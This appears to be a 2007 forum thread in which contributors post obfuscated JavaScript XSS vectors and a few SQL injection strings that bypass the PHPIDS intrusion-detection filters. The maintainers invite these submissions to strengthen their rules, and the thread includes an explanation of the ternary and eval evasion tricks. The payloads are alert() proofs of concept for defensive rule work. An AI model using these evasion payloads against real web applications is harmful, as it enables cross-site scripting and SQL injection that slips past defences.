@thornmaker: and before i forget to mention it: damn impressive one! you're next with the interview after kishor if you like.

Thanks man!

http://demo.php-ids.org/?test=%7B%7A%3D%28%31%3D%3D%34%29%3F%68%65%72%65%3A%7B%7A%3A%28%31%21%3D%35%29%3F%27%27%3A%62%65%7D%7D%7B%79%3D%28%39%3D%3D%32%29%3F%64%72%61%67%6F%6E%73%3A%7B%79%3A%27%6C%27%2B%7A%2E%7A%7D%7D%7B%78%3D%28%36%3D%3D%35%29%3F%33%3A%7B%78%3A%27%61%27%2B%79%2E%79%7D%7D%7B%77%3D%28%35%3D%3D%38%29%3F%39%3A%7B%77%3A%27%65%76%27%2B%78%2E%78%7D%7D%7B%76%3D%28%37%3D%3D%39%29%3F%33%3A%7B%76%3A%27%74%72%28%32%29%27%2B%7A%2E%7A%7D%7D%7B%75%3D%28%33%3D%3D%38%29%3F%34%3A%7B%75%3A%27%73%68%2E%73%75%62%73%27%2B%76%2E%76%7D%7D%7B%74%3D%28%36%3D%3D%32%29%3F%36%3A%7B%74%3A%79%2E%79%2B%27%6F%63%61%74%69%6F%6E%2E%68%61%27%2B%75%2E%75%7D%7D%7B%73%3D%28%34%3D%3D%33%29%3F%33%3A%7B%73%3A%28%38%21%3D%33%29%3F%28%32%29%5B%77%2E%77%5D%3A%7A%7D%7D%7B%72%3D%73%2E%73%28%74%2E%74%29%7D%7B%73%2E%73%28%72%29%2B%7A%2E%7A%7D#7alert%28%27boo%21%27%29

I'll try to explain:
First off, I wanted to avoid using commas because one of the filters gets greedy (not in the reg exp sense) when you include them and makes life thoroughly miserable (it matches something like a comma followed by whatever followed by a comma followed by whatever followed by a close parenthesis). So I settled upon using JSON syntax. This, along with the ternary operator to avoid a different filter, can be used to assign variables as object members. The hard part then was coming up with a way to avoid the filter that matches any type of quote followed by any type of close parenthesis (with optional whitespace between). This is doable if you have the empty string assigned as a variable because then you can do:

a:'eva'+foo}

which gets around it. So the problem became how to get the empty string assigned to a variable without running into the same problem. In the end, I found that using the ternary operator fit the bill and in fact could have been used to solve the original problem, but the code was in fact cleaner/shorter this way (not that it matters at this point). The trick was to something do like:

a:(1==1)?'':foo}

which again interrupts the above mentioned filter since the 'foo' part can be anything since it never gets looked at. The rest was mostly just piecing together some of the previously used tricks including an obfuscation of the 0[]() trick to get the eval to execute the javascript to execute the javascript hidden after the hash. Clear as mud?



Edited 1 time(s). Last edit at 09/13/2007 11:15PM by thornmaker.

Wow!

Web Application Security Journ(ey)al

Awesome vector - amazing work!

http://www.the-mice.co.uk/switch/ Switch/Twitch
http://code.google.com/p/dotnetids .NETIDS

kishord Wrote:
-------------------------------------------------------
> Wow!

ACK

This is plain awesome. How long long have you been sitting on this monster? It almost makes my heart bleed to write a rule that forbids this vector. Thanks man!

Greetings,
.mario

Highly impressive what you guys can do with javascript. Thanks for all contributions.

Regards,
- http://christ1an.blogspot.com

_______________________
[[url=http://php-ids.org]php-ids.org[/url]] Web Application Security 2.0

@thornmaker

Cool stuff :D

I am trying to break IDS for last couple of days, I was halfway through, and then thornmaker comes up with more vectors, IDS rules become stronger and I have to start again [:D]

Unfair isn't it? ;)

Web Application Security Journ(ey)al

kishord, I had the same problem a couple of months ago when mal and sirdarckcat kept finding things. Not to ruin your fun, but here's another:

http://demo.php-ids.org/?test=%7B%7A%3D%20%28%31%2E%3D%3D%34%2E%29%3F%68%65%72%65%3A%7B%7A%3A%20%28%31%2E%21%3D%35%2E%29%3F%27%27%3A%62%65%7D%7D%7B%79%3D%20%28%39%2E%3D%3D%32%2E%29%3F%64%72%61%67%6F%6E%73%3A%7B%79%3A%20%27%6C%27%2B%7A%2E%7A%7D%7D%7B%78%3D%20%28%36%2E%3D%3D%35%2E%29%3F%33%3A%7B%78%3A%20%27%61%27%2B%79%2E%79%7D%7D%7B%77%3D%20%28%35%2E%3D%3D%38%2E%29%3F%39%3A%7B%77%3A%20%27%65%76%27%2B%78%2E%78%7D%7D%7B%76%3D%20%28%37%2E%3D%3D%39%2E%29%3F%33%3A%7B%76%3A%20%27%74%72%28%32%2E%29%27%2B%7A%2E%7A%7D%7D%7B%75%3D%20%28%33%2E%3D%3D%38%2E%29%3F%34%3A%7B%75%3A%20%27%73%68%2E%73%75%62%73%27%2B%76%2E%76%7D%7D%7B%74%3D%20%28%36%2E%3D%3D%32%2E%29%3F%36%3A%7B%74%3A%20%79%2E%79%2B%27%6F%63%61%74%69%6F%6E%2E%68%61%27%2B%75%2E%75%7D%7D%7B%73%3D%20%28%34%2E%3D%3D%33%2E%29%3F%33%3A%7B%73%3A%20%28%38%2E%21%3D%33%2E%29%3F%28%32%2E%29%5B%77%2E%77%5D%3A%7A%7D%7D%7B%72%3D%20%73%2E%73%28%74%2E%74%29%7D%7B%73%2E%73%28%72%29%2B%7A%2E%7A%7D#7alert%28%27hi%20mom%21%27%29

This is the same as before but employs the state-of-the-art advanced filter evasion trick known as Adding Whitespace and Periods (after the assignment operators and numbers respectively).

@.mario: That one only took me about 4 hours of actual work but it took me longer to come up with because I needed to catch up on sleep lost to finding the previous couple... (the one in this post only took about 10 minutes)



Edited 2 time(s). Last edit at 09/14/2007 09:01AM by thornmaker.

Why not write a fuzzer? seems pretty tedious to come up with them by hand.

:D

Web Application Security Journ(ey)al

I've been thinking of writing a fuzzer, but it doesn't seem very suited to the php-ids because you don't want just random obfuscation applied to the injection... you want a particular (randomly chosen) obfuscation applied multiple times throughout the injection in a consistent way... which is doable still but a lot more difficult. Perhaps it is not hard as I think... I don't know... I'm not usually a programmer.

@thornmaker: Damn - I fixed that rule too quickly w/o thought. Working on that...

I tried to invite you to the fuzzing group - but couldn't... I guess the team would be glad if you joined us!

http://groups.google.de/group/fuzzing

Now before anyone else submits a vector, I am submitting mine.

DEMO

Web Application Security Journ(ey)al

@kishord

lol good work :)

@kishord: very nice!

After last nights vector, I figured there was probably an easy way to inject something using only the ternary operator. I like the flexibility it affords.

http://demo.php-ids.org/?test=%61%3D%31%3D%3D%31%3F%31%3D%3D%31%2E%3F%27%27%3A%78%3A%78%3B%62%3D%31%3D%3D%31%3F%27%76%61%6C%27%2B%61%3A%78%3B%62%3D%31%3D%3D%31%3F%27%65%27%2B%62%3A%78%3B%63%3D%31%3D%3D%31%3F%27%73%74%72%28%31%29%27%2B%61%3A%78%3B%63%3D%31%3D%3D%31%3F%27%73%68%2E%73%75%62%27%2B%63%3A%78%3B%63%3D%31%3D%3D%31%3F%27%69%6F%6E%2E%68%61%27%2B%63%3A%78%3B%63%3D%31%3D%3D%31%3F%27%6C%6F%63%61%74%27%2B%63%3A%78%3B%64%3D%31%3D%3D%31%3F%31%3D%3D%31%2E%3F%30%2E%5B%62%5D%3A%78%3A%78%3B%64%28%64%28%63%29%29#alert%28%27hells%20bells%27%29

Simply amazing...

Web Application Security Journ(ey)al

Hey guys - sorry for my slow feedback but we are hard working on the 0.4 release right now - awesome stuff!

@kishor: nice alert ;)

I reworked the rules for the self-executing and concatenated vectors because they were becoming way too heavy. Might be that some false alerts will pop up - we haven't tested that yet (but will).

Nice weekend!
.mario

another variation with the ternary operator:
http://demo.php-ids.org/?test=%7A%3D%2F%7A%2F%21%3D%2F%7A%2F%3F%27%27%3A%30%3B%61%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%6C%27%2B%7A%3A%30%3B%61%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%65%76%61%27%2B%61%3A%30%3B%62%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%62%73%74%72%28%31%29%27%2B%7A%3A%30%3B%62%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%61%73%68%2E%73%75%27%2B%62%3A%30%3B%62%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%74%69%6F%6E%2E%68%27%2B%62%3A%30%3B%62%3D%2F%61%2F%21%3D%2F%61%2F%3F%27%6C%6F%63%61%27%2B%62%3A%30%3B%63%3D%28%30%5B%61%5D%29%3B%64%3D%28%63%28%62%29%29%3B%63%28%64%29#alert%28%27%65%5E%28%69%2A%70%69%29%3D%2D%31%27%29

[edit]: curious how both /x/==/x/ and /x/==/y/ evaluate to false, but if one does c=/x/ then c==c evaluates to true.



Edited 2 time(s). Last edit at 09/15/2007 03:42PM by thornmaker.

This one didn't work 'cause they've updated their filters:-
s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)

But it is interesting 'cause you can use XML as embedded strings which someone may be able to use, I've not got time at the moment due to work and family stuff :(

This didn't work but I thought it was cool so I'll share it:-
123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);

yet another ternary injection: http://demo.php-ids.org/?test=%61%3D%27%27%0A%62%3D%66%61%6C%73%65%3F%30%3A%27%65%76%61%27%0A%62%2B%3D%66%61%6C%73%65%3F%30%3A%27%6C%27%0A%63%3D%66%61%6C%73%65%3F%30%3A%27%6C%27%0A%63%2B%3D%66%61%6C%73%65%3F%30%3A%27%6F%63%61%74%69%6F%6E%2E%68%61%73%27%0A%63%2B%3D%66%61%6C%73%65%3F%30%3A%27%68%2E%73%75%62%73%74%27%0A%63%2B%3D%66%61%6C%73%65%3F%30%3A%27%72%28%31%29%27%0A%64%3D%28%30%5B%62%5D%0A%29%0A%64%28%64%28%63%0A%29%0A%29#alert%28%27avast%21%27%29

@thornmaker

Awesome again :D

I think this question could be interesting for others too. On the PHPIDS mailing list, xorrer asked a good question:

Quote

christ1an:
> Anyway, nothing of this really has todo with intrusion detection. Its
> just circumventing a blacklist filter and hope that the browser
> executes it.

xorrer:
I don't really understand this statement. So you don't consider XSS
attacks to be something which PHPIDS should detect. Then what is an
IDS for a wepapp supposed to find, if XSS doesn't fall into ID?

Well, me as being one of the initial founders of PHPIDS do always have to
keep our main objective in mind. In fact, with these kind of threads, we are
loosing focus on that objective. What I am talking about is intrusion
detection, a term that implies several aspects two of which are
functionality in the sense of effectiveness and performance combined with
simplicity.

We intend to recognize attacks against PHP written Web applications, neither
vector recognizing nor a direct kind of attack prevention. The only
exception concerning the latter would probably be modifying the IDS to be a
IPS by just blocking malicious appearing requests. Be that as it may, its a
different thing.

What we are currently doing is building totally weird (cool) javascript
vectors that slip through our attack detection routine, simply due to their
abstractness. Moreover, most of these vectors will only be executed if they
are outputted directly within a <script> tag, not even within a variable
within a <script> tag that would need to be broken off prior inserting the
payload. I'd say at least as far as XSS is concerned, we are able to detect
around about 95% of all attacks that are actually being performed on real
environments; in practice.

Now lets go back to practice. I consider it highly unlikely that an attacker
would try to perform an unnoticed attack against an application that he
knows is running PHPIDS. If he doesn't assume that some kind of IDS is
running, he'd just fire some trivial vectors to see first results, which of
course would be detected. Nobody can tell me that an attacker would try such
weird vectors we are talking about here in the beginning and on first try.

I hope you now understand my point that we are loosing focus. Nevertheless,
I highly appreciate this input and we will of course continue to fix them in
future. However, soon the point will be reached where we will have to decide
whether or not it is necessary to modify and refine rules, considering our
greatest enemy - false positives.

You see, intrusion detection is - if done professionally - far away from
being an easy job. Its pretty much all about calculating risks. Tough job.

> This process is absolutely crucial for the IDS! It is only through the
> expert knowledge and time donated of people who really know what they
> are doing when it comes to attacks that the blacklist-system can ever
> be effective. Sure, there will always be new vectors, but this process
> is the core of PHPIDS. Without excellent filter rules it's just a
> glorified regex matching engine.

Exactly. Right now, we are in a stage where this kind of input is
>>needed<<. However time will come when we will go one step further to make
the IDS effective in what it does. It's not a regex matching engine, you are
perfectly right on that.

I also fully agree with Mario. I personally have learned a lot while
developing PHPIDS and reading your feedback, bug reports and so forth. I'm
sure everyone who participated shares this opinion.

So ultimately, lets just continue what we're doing; and more importantly
lets do it professionally.

Regards,
- http://christ1an.blogspot.com

_______________________
[[url=http://php-ids.org]php-ids.org[/url]] Web Application Security 2.0

@christ1an: I think I understand your point about losing focus. I would like to point out however that I see it as up to the 'development team' to keep track of that focus, not necessarily those of us that finding ways around the filter.

Although I understand the stated purpose of the project, and completely I agree with it, my involvement (I can't speak for others) is primarily due to an open invitation to bypass the filters. As such, this has been my focus. If/when you feel that enough is enough, I am happy to stop (if I haven't resigned already).

I would like to make one other point. You say "I consider it highly unlikely that an attacker would try to perform an unnoticed attack against an application that he knows is running PHPIDS." I hate to guess how likely such an attack is, but such an attack is certainly plausible.

For example, the attacker could probe the site unobtrusively with some simple strings such as <3 and " that do not trigger any filters but will find likely injection spots in attributes, javascript, or where ever. Once a potential injection spot has been found, the attacker could reproduce the conditions on their own server and use their own installation of phpids in order to find a successful exploit. With that exploit in hand, they could likely launch it against the victim website with a high chance of success without being detected.

To this end, "such weird vectors" could come in useful in this kind of an attack
scenario. Thus I think there is still a benefit in being able to detect such injections as it raises the bar (effort) an attacker must go through in order to be successful. As with any security scenario, a determined attacker will always find a way. However, as you mention yourself, there is a trade off, and at some point the development team must decide whether it is worth it to keep adjusting the filters. In the end (and back to my original point), I think this is your (the developments team) call, not mine.

@thornmaker

I totally agree, I like the PHPIDS project but I've also enjoyed coming up with weird vectors to bypass the rules, I'm just trying to share knowledge of interesting vectors but as you said if these vectors aren't within the scope of the project then I'm willing to try different things.

I'm a bit frightened by the suddenly changed atmosphere. To avoid misunderstanding and to express my absolutely personal opinion here's my 2 cent (as initial founder and maintainer of the rules):

- I love waking up in the morning and seeing new injection vectors after checking my mails - the weirder the better

- I love fixing them ASAP - some fixes are better - some worse - but all in all it so much helps to increase the quality of the product that is called PHPIDS. The fast release cycles makes the PHPIDS better than the commercial solutions because we can react on new exploit vectors in half an hour.

- The maybe stupid sounding slogan 'Web Application Security 2.0' is more than a slogan - it's what the project is all around - it's knowledge of an unlimited amount of people brought together in one open tool. We didn't chose the LGPL on random but on purpose. Need the rules to improve your project? Take em!

- And last but not least - the project will never be perfect and there will always be an attack surface. But we are altogether working on the fact that the attack surface is becoming smaller and smaller every day.

Please continue submitting your vectors and helping us out - I try to provide giving credit as much as my time allows and I hope you are cool with that way. If not just drop me us a line. Any input whatsoever is very much appreciated and w/o your help the project would be nothing.

Thanks for all of you recent work - please give us more reasons to dream of weird javascript madness (the sqli contest is already waiting) :)!!

.mario

Oh sorry guys if my post made the impression that I would like you to stop what you're doing. That is not the case at all. Please don't think that. If you did, I would be ashamed of myself.

Its just some thoughts that went through my head and I tried to answer xorrers question.

We are all enjoying what we're doing and what we're achieving as a team in collaboration, aren't we? As I said, lets keep up with the good work, its just that sometimes people say what needs to be mentioned to make sure it doesn't get lost.

Regards,
- http://christ1an.blogspot.com

_______________________
[[url=http://php-ids.org]php-ids.org[/url]] Web Application Security 2.0

the vectors are actually too boring compared to the incredible JS vectors which have been recently posted. So I feel a bit ashamed posting them ;) But they can be perfectly used in practice.

http://demo.php-ids.org/?test=aaa'%20or%20(1)=(1)%20%23!asd
?test=aaa' or (1)=(1) #!asd
(and other operands)

http://demo.php-ids.org/?test=aaa'%20OR%20(1)%20IS%20NOT%20NULL%20%23!asd
aaa' OR (1) IS NOT NULL #!asd

If you replace "aaa" with a number, it will get detected, so this can be quick-fixed I guess :)

And there is still the problem with injections without quotes ...